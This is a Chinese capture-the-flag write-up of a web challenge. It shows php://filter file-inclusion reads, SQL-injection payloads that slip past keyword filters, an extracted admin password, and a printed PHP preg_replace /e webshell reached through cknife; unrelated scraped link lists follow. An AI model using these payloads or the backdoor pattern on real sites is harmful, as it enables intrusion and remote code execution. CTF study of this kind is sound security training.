地址

http://cms.nuptzj.cn/

0x01 

很有意思的一题综合题,确实包含的内容比较多

打开页面

把能打开的都打开,能看的都看一下

几个重点的信息

一段hash  e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 
一段base64 MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU= 留言搜索跳转到 so.php
点击尾页跳转 index.php?page=1
留言板 preview.php
提交留言 say.php?nice=213&usersay=123&Submit=确认提交
并告诉我们XSS不一定成功,以及查看源码有惊喜 末尾有cms说明
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档 以及admin的表结构
create table admin (
id integer,
username text,
userpass text,
)

0x02

CMS说明的时候,URL为 about.php?file=sm.txt,file字眼一般有文件包含的漏洞(常见的套路),尝试一下用伪协议来读取其他信息读取about.php

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

发现代码有一个loginxlcteam,尝试输入是一个后台登入

http://cms.nuptzj.cn/loginxlcteam/

读取so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head> <body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

获取信息,得到了sql查询语句,同时还包含三个文件config.php、antiinject.php、antixss.php

读取antixss.php文件

<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>

基本把XSS过滤光了

读取antiinject.php    config.php无法读取

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

sql注入也基本过滤光了,但是这是把关键字替换为空,可以用双写来进行绕过,空格可以用/* */来绕过,注意一下so.php中代码中需要把浏览器变成 'Xlcteam Browser'才能执行

0x03

通过sql注入,获取密码登入后台

构造payload获取显示列,抓包改浏览器代理Xlcteam Browser才能执行

soid=1/**/ununionion/**/seleselectct/**/1,2,3,4

显示位是2和3

构造payload直接获得密码

soid=-1 union select 1,2,group_concat(userpass),4 from admin

变形后的payload

soid=-1/**/uunionnion/**/sselectelect/**/1,2,group_concat(userppassass),4/**/frfromom/**/aadmindmin

得到一段ascll码

解码后是fuckruntu

0x04

账号admin 密码fuckruntu,登入成功

原网站有一句话木马,先看看一句话木马的源码

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这里利用一个preg_replace()函数的漏洞配合着上面的array_walk函数

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行

于是构造payload

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

然后小马的密码是wtf

这里用cknife连接

获得flag

web-综合题2的更多相关文章

  1. 前端面试题集锦及答案解析--HTML、 HTTP、web综合问题

    前端需要注意哪些SEO 合理的title.description.keywords:搜索对着三项的权重逐个减小,title值强调重点即可,重要关键词出现不要超过2次,而且要靠前,不同页面title要有 ...

  2. web综合案例04

    web综合案例02 web综合案例02 web综合案例04 待补充 ... ...

  3. web综合案例03

    web综合案例03 web综合案例03 web综合案例03 web综合案例03 ... 待复习

  4. web综合案例02

    web综合案例02 web综合案例02 web综合案例02 ... ... 内容待添加

  5. web综合案例01

    web综合案例01 ... .... 内容待添加

  6. 3. 关于sql注入的综合题

    关于sql注入的综合题                          ----------南京邮电大学ctf : http://cms.nuptzj.cn/ 页面上也给了好多信息: 根据这个sm. ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  9. 攻防世界web进阶题—unfinish

    攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...

  10. 攻防世界web进阶题—bug

    攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...

随机推荐

  1. s3c2440裸机-UART编程(一、UART硬件介绍及传输原理)

    1.uart硬件介绍 UART的全称是Universal Asynchronous Receiver and Transmitter(异步收发器). uart主要用于: 1.打印调试 2.数据传输 串 ...

  2. STL 中 string 的使用

    赋值 string 类型变量可以直接赋值 str = "string"; // str 是 一个 string 类型变量 //等价于 str.assign("string ...

  3. 记MacOs视频mov与mp4格式转换问题解决

    综述 记录了mov转mp4格式的方法 记录了自己是多蠢 问题背景 这学期选修的<工程英语视听说>课,需要提交一段口语考试视频,于是乎: 带着我的大疆Mavic Mini 和iPad Pro ...

  4. WPF/C# 快捷键 自动生成方法

    原文:WPF/C# 快捷键 自动生成方法 这一篇文章会很短~ 在写依赖属性的会后   propdb 会自动生成依赖属性所有的内容 但是如果我写属性变化通知的时候   希望有一个快捷键能自动生成方法 怎 ...

  5. bzoj3293 分金币

    题目链接 problem 圆桌上坐着n个人,每人有一定数量的金币,金币总数能被n整除.每个人可以给他左右相邻的人一些金币,最终使 得每个人的金币数目相等.你的任务是求出被转手的金币数量的最小值. so ...

  6. 《细说PHP》第四版 样章 第18章 数据库抽象层PDO 2

    18.2  PDO所支持的数据库 使用PHP可以处理各种数据库系统,包括MySQL.PostgreSQL.Oracle.MsSQL等.但访问不同的数据库系统时,其所使用的PHP扩展函数也是不同的.例如 ...

  7. 10-scrapy框架介绍

    Scrapy 入门教程 Scrapy 是用 Python 实现的一个为了爬取网站数据.提取结构性数据而编写的应用框架. Scrapy 常应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中. 通 ...

  8. Jenkins操作学习 -- 配置及使用

    一.jenkins基本配置 1.在Jenkins首页,点击Manage Jenkins,然后再点击Manage Plugins插件管理,安装必要的插件.这里我只需要安装Git,因为第一次初始化安装没成 ...

  9. 资源推荐:PPT快闪资源合集附配套字体下载

    样例ppt下载 搜索公众号“拒收”或扫码关注公众号 回复关键字“快闪ppt”获取全部福利 本公众号只出精品,拒收劣质 或者点击菜单链接获取获取全部资源

  10. SpringBoot捕获AccessDeniedException

    https://www.jianshu.com/p/bb14cca5ab3d 自定义AccessDeniedHandler /** * @Author: jialing xu * @Descripti ...